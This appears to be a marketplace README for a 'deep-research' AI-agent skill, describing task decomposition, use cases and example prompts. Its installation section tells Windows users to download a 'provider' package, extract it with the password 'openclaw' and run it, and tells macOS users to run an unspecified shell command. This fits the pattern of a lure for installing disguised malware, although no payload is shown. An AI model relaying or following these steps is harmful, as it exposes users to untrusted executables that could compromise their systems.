deep-research

What This Skill Does

The Deep Research Agent is an advanced analytical framework designed for complex information gathering. Unlike standard web-search tools that provide superficial summaries, this agent utilizes an intelligent decomposition engine. It breaks down monolithic prompts into manageable sub-tasks, delegates these to specialized sub-agents, and cross-references data across massive datasets. By maintaining a persistent cross-thread memory, it ensures that your research builds incrementally, preventing the loss of context that often occurs in long-running investigations. The agent produces final reports that are synthesized, well-supported, and structured for enterprise decision-making.

Installation

Installation is a two-step process requiring both the local provider and the skill repository.

1. Provider Setup: You must install the OpenClawProvider. For Windows, download the package from the official repository, extract it using the password 'openclaw', and execute the application. For MacOS, run the provided shell command in your terminal to initialize the service environment.
2. Skill Activation: Once the provider is active, run clawhub install openclaw/skills/skills/sakaen736jih/deep-research-v2h55k2w within your OpenClaw interface to register the skill.

Use Cases

This skill is ideal for:

• Market Analysis: Evaluating the impact of emerging technologies on global supply chains.
• Technical Research: Conducting deep-dives into security protocols or architectural patterns like eBPF in Kubernetes.
• Academic Synthesis: Compiling multi-source literature reviews where cross-referencing is essential for accuracy.
• Strategic Planning: Aggregating disparate news, whitepapers, and documentation to form a coherent, data-backed business recommendation.

Example Prompts

1. "/deepsearch Conduct a comprehensive analysis of the current state of autonomous AI agents in enterprise environments"
2. "/deepsearch Research the impact of solid-state battery technology on the global EV supply chain over the next decade"
3. "/deepsearch Technical deep-dive into the security implications of eBPF-based observability tools in Kubernetes"

Tips & Limitations

• Precision is Key: While the agent excels at planning, providing more specific scope in your initial prompt will significantly improve the quality of the sub-tasks.
• Context Window: The agent manages large volumes of data effectively, but extremely niche topics without accessible documentation may result in limited outputs.
• Provider Dependency: Ensure the OpenClawProvider remains active throughout the duration of your research, as loss of connectivity will pause the orchestration of sub-agents.
• Iterative Refinement: If the initial results feel too broad, treat the output as a starting point and use follow-up queries to drill down into the most relevant sections identified by the agent.